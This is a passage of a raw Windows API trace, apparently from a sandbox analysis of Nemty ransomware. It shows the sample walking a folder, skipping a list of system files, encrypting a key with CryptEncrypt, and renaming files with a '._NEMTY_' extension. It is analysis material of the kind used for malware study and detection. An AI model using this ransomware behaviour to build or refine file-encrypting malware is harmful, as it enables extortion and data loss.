hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.143] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.143] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.153] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.153] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.153] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.165] CloseHandle (hObject=0xffffffff) returned 0 [0118.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0118.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0118.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0118.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_s.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_s.png._nemty_kgobjgd_")) returned 0 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0118.166] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b101cb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b101cb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2887fa65, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x702e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="novelty_settings.png", cAlternateFileName="")) returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="..") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="...") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="windows") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="$RECYCLE.BIN") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="rsa") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="NTDETECT.COM") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="ntldr") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="MSDOS.SYS") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="IO.SYS") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="boot.ini") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="boot.ini") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="ntuser.dat") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="desktop.ini") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="CONFIG.SYS") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="RECYCLER") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="BOOTSECT.BAK") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="bootmgr") returned 1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="programdata") returned -1 [0118.166] lstrcmpiW (lpString1="novelty_settings.png", lpString2="appdata") returned 1 [0118.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_settings.png", lpUsedDefaultChar=0x0) returned 20 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_settings.png", lpUsedDefaultChar=0x0) returned 20 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_settings.png", lpUsedDefaultChar=0x0) returned 20 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="novelty_settings.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="novelty_settings.png", lpUsedDefaultChar=0x0) returned 20 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340288 [0118.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340340 [0118.167] Sleep (dwMilliseconds=0x5) [0118.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa149450, dwHighDateTime=0x1d561e7)) [0118.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa149450, dwHighDateTime=0x1d561e7)) [0118.168] GetLastError () returned 0x5 [0118.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.168] GetLastError () returned 0x5 [0118.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.168] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.168] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.169] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63403f8 [0118.169] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63403f8, pcchString=0x653e91c | out: pszString="tlfZzSgyXDB0F14D6pVQcgIEfegVwop7g/Kjn33EwzdJX3Pfsy+6l/prLmOU3lWl\r\nd19dql2qbrsIT/rDhA48XjhD/q3MXpZssfeXaLpX2MN6lRtQf0FOT0pqDYGPmcL9\r\nC5/JVHLwwOdEo0WhLxQBmqwtb40c8AxMeCHwaVCFMB7gMomj+aPTvbRzjV8Wju30\r\nwMwbok7pVjL7qsqKVpdUIwh2eFJEuxnQWbh1MaDeAH47YWNMqU8cseyUOQslT8rB\r\nthVH+ltemKvdacNw/zJA3TFP9eqX50ak6aepvuXYbu4kCmwnKcpGkth2s7/NfgL5\r\nN0INk+Nvbq8zrvvHp4g6JA==\r\n", pcchString=0x653e91c) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0118.169] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63403f8 [0118.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.169] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.169] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.208] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.218] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.218] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.218] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.227] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.246] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.246] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.246] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 